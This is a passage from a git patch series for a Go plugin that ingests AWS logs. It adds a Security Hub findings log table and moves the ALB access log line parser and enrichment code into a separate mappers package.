time.UnixMilli(int64(*row.Timestamp)).Format("2006-01-02") + + return row, nil +} diff --git a/tables/waf_traffic_log_table_config.go b/tables/waf_traffic_log_table_config.go new file mode 100644 index 00000000..b5650fcb --- /dev/null +++ b/tables/waf_traffic_log_table_config.go @@ -0,0 +1,7 @@ +package tables + +type WafTrafficLogTableConfig struct{} + +func (c *WafTrafficLogTableConfig) Validate() error { + return nil +} From f36072a6f64c279ad1e1a31f709e7890f141781b Mon Sep 17 00:00:00 2001 From: ParthaI <47887552+ParthaI@users.noreply.github.com> Date: Thu, 7 Nov 2024 18:40:12 +0700 Subject: [PATCH 070/180] Added support for SecurityHub Finding (#11) --- aws/plugin.go | 1 + mappers/securityhub_finding_mapper.go | 54 +++++++++++ rows/securityhub_finding_log.go | 23 +++++ tables/securityhub_finding_log_table.go | 93 +++++++++++++++++++ .../securityhub_finding_log_table_config.go | 9 ++ 5 files changed, 180 insertions(+) create mode 100644 mappers/securityhub_finding_mapper.go create mode 100644 rows/securityhub_finding_log.go create mode 100644 tables/securityhub_finding_log_table.go create mode 100644 tables/securityhub_finding_log_table_config.go diff --git a/aws/plugin.go b/aws/plugin.go index 1a462ebd..609a59c3 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -31,6 +31,7 @@ func NewPlugin() (_ plugin.TailpipePlugin, err error) { tables.NewElbAccessLogTable, tables.NewS3ServerAccessLogTable, tables.NewLambdaLogTable, + tables.NewSecurityHubFindingLogTable, tables.NewWafTrafficLogTable, tables.NewAlbAccessLogTable, }, diff --git a/mappers/securityhub_finding_mapper.go b/mappers/securityhub_finding_mapper.go new file mode 100644 index 00000000..6abf7729 --- /dev/null +++ b/mappers/securityhub_finding_mapper.go @@ -0,0 +1,54 @@ +package mappers + +import ( + "context" + "encoding/json" + "fmt" + + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +type SecurityHubFindingsMapper struct { +} + +func NewSecurityHubFindingsMapper() table.Mapper[rows.SecurityHubFindingLog] { + res := &SecurityHubFindingsMapper{} + + return res +} + +func (c *SecurityHubFindingsMapper) Identifier() string { + return "securityhub_finding_mapper" +} + +func (m *SecurityHubFindingsMapper) Map(_ context.Context, a any) ([]rows.SecurityHubFindingLog, error) { + var b rows.SecurityHubFindingLog + + // If `a` is a []uint8, unmarshal it into the expected struct + if data, ok := a.([]uint8); ok { + if err := json.Unmarshal(data, &b); err != nil { + return nil, fmt.Errorf("error unmarshalling row data: %w", err) + } + } else { + // Type assertion as usual if `a` is already of type rows.SecurityHubFindingLog + var ok bool + b, ok = a.(rows.SecurityHubFindingLog) + if !ok { + return nil, fmt.Errorf("expected rows.SecurityHubFindingLog, got %T", a) + } + } + + // Proceed with existing logic + s, err := json.Marshal(b.DetailFindings) + if err != nil { + return nil, fmt.Errorf("error marshalling row data: %w", err) + } + + dataJsonString := helpers.JSONString(s) + b.DetailFindings = &dataJsonString + + return []rows.SecurityHubFindingLog{b}, nil + +} diff --git a/rows/securityhub_finding_log.go b/rows/securityhub_finding_log.go new file mode 100644 index 00000000..75d1948e --- /dev/null +++ b/rows/securityhub_finding_log.go @@ -0,0 +1,23 @@ +package rows + +import ( + "time" + + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/helpers" +) + +type SecurityHubFindingLog struct { + enrichment.CommonFields + + // Top level fields + Version *string `json:"version,omitempty"` + ID *string `json:"id,omitempty"` + DetailType *string `json:"detail-type,omitempty"` + Source *string `json:"source,omitempty"` + Account *string `json:"account,omitempty"` + Time *time.Time `json:"time,omitempty"` + Region *string `json:"region,omitempty"` + Resources []*string `json:"resources,omitempty"` + DetailFindings *helpers.JSONString `json:"detail"` +} diff --git a/tables/securityhub_finding_log_table.go b/tables/securityhub_finding_log_table.go new file mode 100644 index 00000000..6087180b --- /dev/null +++ b/tables/securityhub_finding_log_table.go @@ -0,0 +1,93 @@ +package tables + +import ( + "context" + "time" + + "github.com/turbot/pipe-fittings/utils" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/parse" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +type SecurityHubFindingLogTable struct { + // all tables must embed table.TableImpl + table.TableImpl[rows.SecurityHubFindingLog, *SecurityHubFindingLogTableConfig, *config.AwsConnection] +} + +func NewSecurityHubFindingLogTable() table.Table { + return &SecurityHubFindingLogTable{} +} + +func (c *SecurityHubFindingLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { + // call base init + if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { + return err + } + + c.initMapper() + return nil +} + +func (c *SecurityHubFindingLogTable) Identifier() string { + return "aws_securityhub_finding_log" +} + +func (c *SecurityHubFindingLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { + var opts []row_source.RowSourceOption + + switch sourceType { + case artifact_source.AwsS3BucketSourceIdentifier: + // the default file layout for Cloudtrail logs in S3 + defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ + // TODO #config finalise default cloudtrail file layout + FileLayout: utils.ToStringPointer("security_hub_findings_(?P\\d{4})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})"), + } + opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig)) + } + + return opts +} + +func (c *SecurityHubFindingLogTable) initMapper() { + // TODO switch on source + c.Mapper = mappers.NewSecurityHubFindingsMapper() +} + +func (c *SecurityHubFindingLogTable) GetRowSchema() any { + return &rows.SecurityHubFindingLog{} +} + +func (c *SecurityHubFindingLogTable) GetConfigSchema() parse.Config { + return &SecurityHubFindingLogTableConfig{} +} + +// TODO K why does this not fail to compile? +func (c *SecurityHubFindingLogTable) EnrichRow(row rows.SecurityHubFindingLog, sourceEnrichmentFields *enrichment.CommonFields) (rows.SecurityHubFindingLog, error) { + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } + + for _, resource := range row.Resources { + newAkas := awsAkasFromArn(*resource) + row.TpAkas = append(row.TpAkas, newAkas...) + } + + row.TpSourceType = "aws_securityhub_finding_log" + if row.Time != nil { + row.TpTimestamp = helpers.UnixMillis(row.Time.UnixNano() / int64(time.Millisecond)) + } + if row.Account != nil { + row.TpIndex = *row.Account + } + + return row, nil +} diff --git a/tables/securityhub_finding_log_table_config.go b/tables/securityhub_finding_log_table_config.go new file mode 100644 index 00000000..a9b0fa43 --- /dev/null +++ b/tables/securityhub_finding_log_table_config.go @@ -0,0 +1,9 @@ +package tables + +type SecurityHubFindingLogTableConfig struct { +} + +func (a SecurityHubFindingLogTableConfig) Validate() error { + // TODO: #config validate the config + return nil +} From c4500db7293722ce224878121d9d055bd6a57edb Mon Sep 17 00:00:00 2001 From: Graza Date: Thu, 7 Nov 2024 22:50:29 +0700 Subject: [PATCH 071/180] refactor: moved alb mapper to mappers package --- mappers/alb_access_log_mapper.go | 176 +++++++++++++ rows/alb_access_log.go | 421 +++++++++++++++---------------- tables/alb_access_log_table.go | 188 +------------- 3 files changed, 391 insertions(+), 394 deletions(-) create mode 100644 mappers/alb_access_log_mapper.go diff --git a/mappers/alb_access_log_mapper.go b/mappers/alb_access_log_mapper.go new file mode 100644 index 00000000..d3f0fb26 --- /dev/null +++ b/mappers/alb_access_log_mapper.go @@ -0,0 +1,176 @@ +package mappers + +import ( + "context" + "fmt" + "strconv" + "strings" + "time" + + "github.com/turbot/tailpipe-plugin-aws/rows" +) + +// AlbLogMapper handles the mapping of ALB log lines to structured data. +// While simpler log formats can use the SDK's DelimitedLineMapper, ALB logs require +// custom parsing due to their complex format which includes: +// - Quoted strings containing spaces (e.g., user agents, HTTP requests) +// - Optional fields marked with "-" +// - Compound fields (IP:port combinations) +// - Mixed data types requiring careful parsing and validation +type AlbAccessLogMapper struct{} + +func NewAlbAccessLogMapper() *AlbAccessLogMapper { + return &AlbAccessLogMapper{} +} + +func (m *AlbAccessLogMapper) Map(_ context.Context, data any) ([]*rows.AlbAccessLog, error) { + // Handle string input directly + lineStr, ok := data.(string) + if !ok { + return nil, fmt.Errorf("expected string, got %T", data) + } + + // Create a new ALB log entry + logEntry := rows.NewAlbAccessLog() + + // Split the line and parse fields + // Using strings.Split to handle spaces between quoted strings + var fields []string + var currentField strings.Builder + inQuotes := false + + for _, char := range lineStr { + switch char { + case '"': + inQuotes = !inQuotes + case ' ': + if !inQuotes { + if currentField.Len() > 0 { + fields = append(fields, currentField.String()) + currentField.Reset() + } + } else { + currentField.WriteRune(char) + } + default: + currentField.WriteRune(char) + } + } + + // Add the last field + if currentField.Len() > 0 { + fields = append(fields, currentField.String()) + } + + if len(fields) < 27 { // Minimum required fields + return nil, fmt.Errorf("invalid number of fields in log entry: got %d, want at least 27", len(fields)) + } + + // Map fields to struct + logEntry.Type = fields[0] + + // Parse timestamp + timestamp, err := time.Parse(time.RFC3339Nano, fields[1]) + if err != nil { + return nil, fmt.Errorf("error parsing timestamp: %w", err) + } + logEntry.Timestamp = timestamp + + // ALB name + logEntry.AlbName = fields[2] + + // Parse client address + clientParts := strings.Split(fields[3], ":") + if len(clientParts) == 2 { + logEntry.ClientIP = clientParts[0] + port, err := strconv.Atoi(clientParts[1]) + if err == nil { + logEntry.ClientPort = port + } + } + + // Parse target address + if fields[4] != "-" { + targetParts := strings.Split(fields[4], ":") + if len(targetParts) == 2 { + logEntry.TargetIP = &targetParts[0] + port, err := strconv.Atoi(targetParts[1]) + if err == nil { + logEntry.TargetPort = port + } + } + } + + // Parse processing times + if rpt, err := strconv.ParseFloat(fields[5], 64); err == nil { + logEntry.RequestProcessingTime = rpt + } + if tpt, err := strconv.ParseFloat(fields[6], 64); err == nil { + logEntry.TargetProcessingTime = tpt + } + if rpt, err := strconv.ParseFloat(fields[7], 64); err == nil { + logEntry.ResponseProcessingTime = rpt + } + + // Status codes + if statusCode, err := strconv.Atoi(fields[8]); err == nil { + logEntry.AlbStatusCode = &statusCode + } + if statusCode, err := strconv.Atoi(fields[9]); err == nil { + logEntry.TargetStatusCode = &statusCode + } + + // Bytes + if received, err := strconv.ParseInt(fields[10], 10, 64); err == nil { + logEntry.ReceivedBytes = &received + } + if sent, err := strconv.ParseInt(fields[11], 10, 64); err == nil { + logEntry.SentBytes = &sent + } + + // Remove quotes from quoted fields + logEntry.Request = strings.Trim(fields[12], "\"") + logEntry.UserAgent = strings.Trim(fields[13], "\"") + logEntry.SslCipher = fields[14] + logEntry.SslProtocol = fields[15] + logEntry.TargetGroupArn = fields[16] + logEntry.TraceId = strings.Trim(fields[17], "\"") + logEntry.DomainName = strings.Trim(fields[18], "\"") + logEntry.ChosenCertArn = strings.Trim(fields[19], "\"") + + // Parse matched rule priority + if priority, err := strconv.Atoi(fields[20]); err == nil { + logEntry.MatchedRulePriority = priority + } + + // Parse request creation time + reqCreationTime, err := time.Parse(time.RFC3339Nano, fields[21]) + if err == nil { + logEntry.RequestCreationTime = reqCreationTime + } + + // Handle remaining fields + logEntry.ActionsExecuted = strings.Trim(fields[22], "\"") + redirectURL := strings.Trim(fields[23], "\"") + if redirectURL != "-" { + logEntry.RedirectUrl = &redirectURL + } + errorReason := strings.Trim(fields[24], "\"") + if errorReason != "-" { + logEntry.ErrorReason = &errorReason + } + targetList := strings.Trim(fields[25], "\"") + if targetList != "-" { + logEntry.TargetList = &targetList + } + targetStatusList := strings.Trim(fields[26], "\"") + if targetStatusList != "-" { + logEntry.TargetStatusList = &targetStatusList + } + + return []*rows.AlbAccessLog{logEntry}, nil +} + +func (m *AlbAccessLogMapper) Identifier() string { + return "alb_log_mapper" +} diff --git a/rows/alb_access_log.go b/rows/alb_access_log.go index a598cbfe..fa838010 100644 --- a/rows/alb_access_log.go +++ b/rows/alb_access_log.go @@ -37,239 +37,236 @@ import ( // - tp_date: derived from timestamp in yyyy-mm-dd format type AlbAccessLog struct { - enrichment.CommonFields + enrichment.CommonFields - // Standard ALB fields - Type string `json:"type"` - Timestamp time.Time `json:"timestamp"` - AlbName string `json:"alb_name"` - ClientIP string `json:"client_ip"` - ClientPort int `json:"client_port"` - TargetIP *string `json:"target_ip,omitempty"` - TargetPort int `json:"target_port"` - RequestProcessingTime float64 `json:"request_processing_time"` - TargetProcessingTime float64 `json:"target_processing_time"` - ResponseProcessingTime float64 `json:"response_processing_time"` - AlbStatusCode *int `json:"alb_status_code,omitempty"` - TargetStatusCode *int `json:"target_status_code,omitempty"` - ReceivedBytes *int64 `json:"received_bytes,omitempty"` - SentBytes *int64 `json:"sent_bytes,omitempty"` - Request string `json:"request"` - UserAgent string `json:"user_agent"` - SslCipher string `json:"ssl_cipher"` - SslProtocol string `json:"ssl_protocol"` - TargetGroupArn string `json:"target_group_arn"` - TraceId string `json:"trace_id"` - DomainName string `json:"domain_name"` - ChosenCertArn string `json:"chosen_cert_arn"` - MatchedRulePriority int `json:"matched_rule_priority"` - RequestCreationTime time.Time `json:"request_creation_time"` - ActionsExecuted string `json:"actions_executed"` - RedirectUrl *string `json:"redirect_url,omitempty"` - ErrorReason *string `json:"error_reason,omitempty"` - TargetList *string `json:"target_list,omitempty"` - TargetStatusList *string `json:"target_status_list,omitempty"` - Classification *string `json:"classification,omitempty"` - ClassificationReason *string `json:"classification_reason,omitempty"` + // Standard ALB fields + Type string `json:"type"` + Timestamp time.Time `json:"timestamp"` + AlbName string `json:"alb_name"` + ClientIP string `json:"client_ip"` + ClientPort int `json:"client_port"` + TargetIP *string `json:"target_ip,omitempty"` + TargetPort int `json:"target_port"` + RequestProcessingTime float64 `json:"request_processing_time"` + TargetProcessingTime float64 `json:"target_processing_time"` + ResponseProcessingTime float64 `json:"response_processing_time"` + AlbStatusCode *int `json:"alb_status_code,omitempty"` + TargetStatusCode *int `json:"target_status_code,omitempty"` + ReceivedBytes *int64 `json:"received_bytes,omitempty"` + SentBytes *int64 `json:"sent_bytes,omitempty"` + Request string `json:"request"` + UserAgent string `json:"user_agent"` + SslCipher string `json:"ssl_cipher"` + SslProtocol string `json:"ssl_protocol"` + TargetGroupArn string `json:"target_group_arn"` + TraceId string `json:"trace_id"` + DomainName string `json:"domain_name"` + ChosenCertArn string `json:"chosen_cert_arn"` + MatchedRulePriority int `json:"matched_rule_priority"` + RequestCreationTime time.Time `json:"request_creation_time"` + ActionsExecuted string `json:"actions_executed"` + RedirectUrl *string `json:"redirect_url,omitempty"` + ErrorReason *string `json:"error_reason,omitempty"` + TargetList *string `json:"target_list,omitempty"` + TargetStatusList *string `json:"target_status_list,omitempty"` + Classification *string `json:"classification,omitempty"` + ClassificationReason *string `json:"classification_reason,omitempty"` } // NewAlbAccessLog creates a new ALB access log entry with initialized fields. // Used by the mapper when creating new log entries from raw log lines. func NewAlbAccessLog() *AlbAccessLog { - return &AlbAccessLog{} + return &AlbAccessLog{} } // parseField handles parsing of individual fields with proper error handling func (l *AlbAccessLog) parseField(fieldName, value string) error { - if value == "-" { - return nil - } + if value == "-" { + return nil + } - switch fieldName { - case "timestamp": - ts, err := time.Parse(time.RFC3339Nano, value) - if err != nil { - return fmt.Errorf("error parsing timestamp: %w", err) - } - l.Timestamp = ts - case "type": - l.Type = value - case "alb": - l.AlbName = value - case "client": - parts := strings.Split(value, ":") - if len(parts) == 2 { - l.ClientIP = parts[0] - port, err := strconv.Atoi(parts[1]) - if err != nil { - return fmt.Errorf("error parsing client port: %w", err) - } - l.ClientPort = port - } - case "target": - parts := strings.Split(value, ":") - if len(parts) == 2 { - ip := parts[0] - l.TargetIP = &ip - port, err := strconv.Atoi(parts[1]) - if err != nil { - return fmt.Errorf("error parsing target port: %w", err) - } - l.TargetPort = port - } - case "request_processing_time": - rpt, err := strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing request_processing_time: %w", err) - } - l.RequestProcessingTime = rpt - case "target_processing_time": - tpt, err := strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing target_processing_time: %w", err) - } - l.TargetProcessingTime = tpt - case "response_processing_time": - rpt, err := strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing response_processing_time: %w", err) - } - l.ResponseProcessingTime = rpt - case "alb_status_code": - code, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing alb_status_code: %w", err) - } - l.AlbStatusCode = &code - case "target_status_code": - code, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing target_status_code: %w", err) - } - l.TargetStatusCode = &code - case "received_bytes": - bytes, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing received_bytes: %w", err) - } - l.ReceivedBytes = &bytes - case "sent_bytes": - bytes, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing sent_bytes: %w", err) - } - l.SentBytes = &bytes - case "request": - l.Request = strings.Trim(value, "\"") - case "user_agent": - l.UserAgent = strings.Trim(value, "\"") - case "ssl_cipher": - l.SslCipher = value - case "ssl_protocol": - l.SslProtocol = value - case "target_group_arn": - l.TargetGroupArn = value - case "trace_id": - l.TraceId = strings.Trim(value, "\"") - case "domain_name": - l.DomainName = strings.Trim(value, "\"") - case "chosen_cert_arn": - l.ChosenCertArn = strings.Trim(value, "\"") - case "matched_rule_priority": - priority, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing matched_rule_priority: %w", err) - } - l.MatchedRulePriority = priority - case "request_creation_time": - rct, err := time.Parse(time.RFC3339Nano, value) - if err != nil { - return fmt.Errorf("error parsing request_creation_time: %w", err) - } - l.RequestCreationTime = rct - case "actions_executed": - l.ActionsExecuted = strings.Trim(value, "\"") - case "redirect_url": - if value != "-" { - v := strings.Trim(value, "\"") - l.RedirectUrl = &v - } - case "error_reason": - if value != "-" { - v := strings.Trim(value, "\"") - l.ErrorReason = &v - } - case "target_list": - if value != "-" { - v := strings.Trim(value, "\"") - l.TargetList = &v - } - case "target_status_list": - if value != "-" { - v := strings.Trim(value, "\"") - l.TargetStatusList = &v - } - case "classification": - if value != "-" { - v := strings.Trim(value, "\"") - l.Classification = &v - } - case "classification_reason": - if value != "-" { - v := strings.Trim(value, "\"") - l.ClassificationReason = &v - } - } - return nil + switch fieldName { + case "timestamp": + ts, err := time.Parse(time.RFC3339Nano, value) + if err != nil { + return fmt.Errorf("error parsing timestamp: %w", err) + } + l.Timestamp = ts + case "type": + l.Type = value + case "alb": + l.AlbName = value + case "client": + parts := strings.Split(value, ":") + if len(parts) == 2 { + l.ClientIP = parts[0] + port, err := strconv.Atoi(parts[1]) + if err != nil { + return fmt.Errorf("error parsing client port: %w", err) + } + l.ClientPort = port + } + case "target": + parts := strings.Split(value, ":") + if len(parts) == 2 { + ip := parts[0] + l.TargetIP = &ip + port, err := strconv.Atoi(parts[1]) + if err != nil { + return fmt.Errorf("error parsing target port: %w", err) + } + l.TargetPort = port + } + case "request_processing_time": + rpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing request_processing_time: %w", err) + } + l.RequestProcessingTime = rpt + case "target_processing_time": + tpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing target_processing_time: %w", err) + } + l.TargetProcessingTime = tpt + case "response_processing_time": + rpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing response_processing_time: %w", err) + } + l.ResponseProcessingTime = rpt + case "alb_status_code": + code, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing alb_status_code: %w", err) + } + l.AlbStatusCode = &code + case "target_status_code": + code, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing target_status_code: %w", err) + } + l.TargetStatusCode = &code + case "received_bytes": + bytes, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing received_bytes: %w", err) + } + l.ReceivedBytes = &bytes + case "sent_bytes": + bytes, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing sent_bytes: %w", err) + } + l.SentBytes = &bytes + case "request": + l.Request = strings.Trim(value, "\"") + case "user_agent": + l.UserAgent = strings.Trim(value, "\"") + case "ssl_cipher": + l.SslCipher = value + case "ssl_protocol": + l.SslProtocol = value + case "target_group_arn": + l.TargetGroupArn = value + case "trace_id": + l.TraceId = strings.Trim(value, "\"") + case "domain_name": + l.DomainName = strings.Trim(value, "\"") + case "chosen_cert_arn": + l.ChosenCertArn = strings.Trim(value, "\"") + case "matched_rule_priority": + priority, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing matched_rule_priority: %w", err) + } + l.MatchedRulePriority = priority + case "request_creation_time": + rct, err := time.Parse(time.RFC3339Nano, value) + if err != nil { + return fmt.Errorf("error parsing request_creation_time: %w", err) + } + l.RequestCreationTime = rct + case "actions_executed": + l.ActionsExecuted = strings.Trim(value, "\"") + case "redirect_url": + if value != "-" { + v := strings.Trim(value, "\"") + l.RedirectUrl = &v + } + case "error_reason": + if value != "-" { + v := strings.Trim(value, "\"") + l.ErrorReason = &v + } + case "target_list": + if value != "-" { + v := strings.Trim(value, "\"") + l.TargetList = &v + } + case "target_status_list": + if value != "-" { + v := strings.Trim(value, "\"") + l.TargetStatusList = &v + } + case "classification": + if value != "-" { + v := strings.Trim(value, "\"") + l.Classification = &v + } + case "classification_reason": + if value != "-" { + v := strings.Trim(value, "\"") + l.ClassificationReason = &v + } + } + return nil } // InitialiseFromMap initializes the struct from a map of string values func (l *AlbAccessLog) InitialiseFromMap(m map[string]string) error { - for fieldName, value := range m { - if err := l.parseField(fieldName, value); err != nil { - return fmt.Errorf("error parsing field %s: %w", fieldName, err) - } - } - return nil + for fieldName, value := range m { + if err := l.parseField(fieldName, value); err != nil { + return fmt.Errorf("error parsing field %s: %w", fieldName, err) + } + } + return nil } // EnrichRow handles all enrichment operations for the ALB access log entry func (l *AlbAccessLog) EnrichRow(sourceEnrichmentFields *enrichment.CommonFields) error { - // Add source enrichment fields if provided - if sourceEnrichmentFields != nil { - l.CommonFields = *sourceEnrichmentFields - } + // Add source enrichment fields if provided + if sourceEnrichmentFields != nil { + l.CommonFields = *sourceEnrichmentFields + } - // Standard record enrichment - l.TpID = xid.New().String() - l.TpSourceType = "aws_alb_access_log" - l.TpTimestamp = helpers.UnixMillis(l.Timestamp.UnixNano() / int64(time.Millisecond)) - l.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) - l.TpDate = l.Timestamp.Format("2006-01-02") - - // IP-related enrichment - if l.ClientIP != "" { - l.TpSourceIP = &l.ClientIP - l.TpIps = append(l.TpIps, l.ClientIP) - } - if l.TargetIP != nil { - l.TpDestinationIP = l.TargetIP - l.TpIps = append(l.TpIps, *l.TargetIP) - } + // Standard record enrichment + l.TpID = xid.New().String() + l.TpTimestamp = helpers.UnixMillis(l.Timestamp.UnixNano() / int64(time.Millisecond)) + l.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + l.TpDate = l.Timestamp.Format("2006-01-02") + // Use ALB name as the index + l.TpIndex = l.AlbName - // Domain enrichment - if l.DomainName != "" { - l.TpDomains = append(l.TpDomains, l.DomainName) - } + // IP-related enrichment + if l.ClientIP != "" { + l.TpSourceIP = &l.ClientIP + l.TpIps = append(l.TpIps, l.ClientIP) + } + if l.TargetIP != nil { + l.TpDestinationIP = l.TargetIP + l.TpIps = append(l.TpIps, *l.TargetIP) + } - // AWS resource linking - if l.TargetGroupArn != "" { - l.TpAkas = append(l.TpAkas, l.TargetGroupArn) - } + // Domain enrichment + if l.DomainName != "" { + l.TpDomains = append(l.TpDomains, l.DomainName) + } - // Use ALB name as the index - l.TpPartition = "aws_alb_access_log" - l.TpIndex = l.AlbName + // AWS resource linking + if l.TargetGroupArn != "" { + l.TpAkas = append(l.TpAkas, l.TargetGroupArn) + } - return nil -} \ No newline at end of file + return nil +} diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go index 74538f66..77388843 100644 --- a/tables/alb_access_log_table.go +++ b/tables/alb_access_log_table.go @@ -5,10 +5,7 @@ package tables import ( "context" - "fmt" - "strconv" - "strings" - "time" + "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/rows" @@ -20,178 +17,6 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/types" ) -// AlbLogMapper handles the mapping of ALB log lines to structured data. -// While simpler log formats can use the SDK's DelimitedLineMapper, ALB logs require -// custom parsing due to their complex format which includes: -// - Quoted strings containing spaces (e.g., user agents, HTTP requests) -// - Optional fields marked with "-" -// - Compound fields (IP:port combinations) -// - Mixed data types requiring careful parsing and validation -type AlbLogMapper struct{} - -func (m *AlbLogMapper) Map(_ context.Context, data any) ([]*rows.AlbAccessLog, error) { - // Map implements the Mapper interface, converting raw ALB log lines into structured data. - // The mapping process: - // 1. Validates the input is a string - // 2. Parses the log line while respecting quoted fields - // 3. Extracts and converts fields to their appropriate types - // 4. Handles optional fields and special formats (IP:port, timestamps) - // - // Log Format: - // type timestamp alb client:port target:port request_processing_time [...] classification_reason - // Example: - // http 2024-01-01T00:00:00.000Z my-alb 192.168.1.1:12345 10.0.1.2:80 0.001 [...] - - lineStr, ok := data.(string) - if !ok { - return nil, fmt.Errorf("expected string, got %T", data) - } - - // Create a new ALB log entry - logEntry := rows.NewAlbAccessLog() - - // Split the line and parse fields - // Using strings.Split to handle spaces between quoted strings - var fields []string - var currentField strings.Builder - inQuotes := false - - for _, char := range lineStr { - switch char { - case '"': - inQuotes = !inQuotes - case ' ': - if !inQuotes { - if currentField.Len() > 0 { - fields = append(fields, currentField.String()) - currentField.Reset() - } - } else { - currentField.WriteRune(char) - } - default: - currentField.WriteRune(char) - } - } - - // Add the last field - if currentField.Len() > 0 { - fields = append(fields, currentField.String()) - } - - if len(fields) < 27 { // Minimum required fields - return nil, fmt.Errorf("invalid number of fields in log entry: got %d, want at least 27", len(fields)) - } - - // Map fields to struct - logEntry.Type = fields[0] - - // Parse timestamp - timestamp, err := time.Parse(time.RFC3339Nano, fields[1]) - if err != nil { - return nil, fmt.Errorf("error parsing timestamp: %w", err) - } - logEntry.Timestamp = timestamp - - // ALB name - logEntry.AlbName = fields[2] - - // Parse client address - clientParts := strings.Split(fields[3], ":") - if len(clientParts) == 2 { - logEntry.ClientIP = clientParts[0] - port, err := strconv.Atoi(clientParts[1]) - if err == nil { - logEntry.ClientPort = port - } - } - - // Parse target address - if fields[4] != "-" { - targetParts := strings.Split(fields[4], ":") - if len(targetParts) == 2 { - logEntry.TargetIP = &targetParts[0] - port, err := strconv.Atoi(targetParts[1]) - if err == nil { - logEntry.TargetPort = port - } - } - } - - // Parse processing times - if rpt, err := strconv.ParseFloat(fields[5], 64); err == nil { - logEntry.RequestProcessingTime = rpt - } - if tpt, err := strconv.ParseFloat(fields[6], 64); err == nil { - logEntry.TargetProcessingTime = tpt - } - if rpt, err := strconv.ParseFloat(fields[7], 64); err == nil { - logEntry.ResponseProcessingTime = rpt - } - - // Status codes - if statusCode, err := strconv.Atoi(fields[8]); err == nil { - logEntry.AlbStatusCode = &statusCode - } - if statusCode, err := strconv.Atoi(fields[9]); err == nil { - logEntry.TargetStatusCode = &statusCode - } - - // Bytes - if received, err := strconv.ParseInt(fields[10], 10, 64); err == nil { - logEntry.ReceivedBytes = &received - } - if sent, err := strconv.ParseInt(fields[11], 10, 64); err == nil { - logEntry.SentBytes = &sent - } - - // Remove quotes from quoted fields - logEntry.Request = strings.Trim(fields[12], "\"") - logEntry.UserAgent = strings.Trim(fields[13], "\"") - logEntry.SslCipher = fields[14] - logEntry.SslProtocol = fields[15] - logEntry.TargetGroupArn = fields[16] - logEntry.TraceId = strings.Trim(fields[17], "\"") - logEntry.DomainName = strings.Trim(fields[18], "\"") - logEntry.ChosenCertArn = strings.Trim(fields[19], "\"") - - // Parse matched rule priority - if priority, err := strconv.Atoi(fields[20]); err == nil { - logEntry.MatchedRulePriority = priority - } - - // Parse request creation time - reqCreationTime, err := time.Parse(time.RFC3339Nano, fields[21]) - if err == nil { - logEntry.RequestCreationTime = reqCreationTime - } - - // Handle remaining fields - logEntry.ActionsExecuted = strings.Trim(fields[22], "\"") - redirectURL := strings.Trim(fields[23], "\"") - if redirectURL != "-" { - logEntry.RedirectUrl = &redirectURL - } - errorReason := strings.Trim(fields[24], "\"") - if errorReason != "-" { - logEntry.ErrorReason = &errorReason - } - targetList := strings.Trim(fields[25], "\"") - if targetList != "-" { - logEntry.TargetList = &targetList - } - targetStatusList := strings.Trim(fields[26], "\"") - if targetStatusList != "-" { - logEntry.TargetStatusList = &targetStatusList - } - - return []*rows.AlbAccessLog{logEntry}, nil -} - -func (m *AlbLogMapper) Identifier() string { - return "alb_log_mapper" -} - type AlbAccessLogTable struct { table.TableImpl[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *config.AwsConnection] } @@ -206,7 +31,7 @@ func (t *AlbAccessLogTable) Init(ctx context.Context, connectionSchemaProvider t } // Set the mapper - t.Mapper = &AlbLogMapper{} + t.Mapper = mappers.NewAlbAccessLogMapper() return nil } @@ -229,9 +54,8 @@ func (t *AlbAccessLogTable) 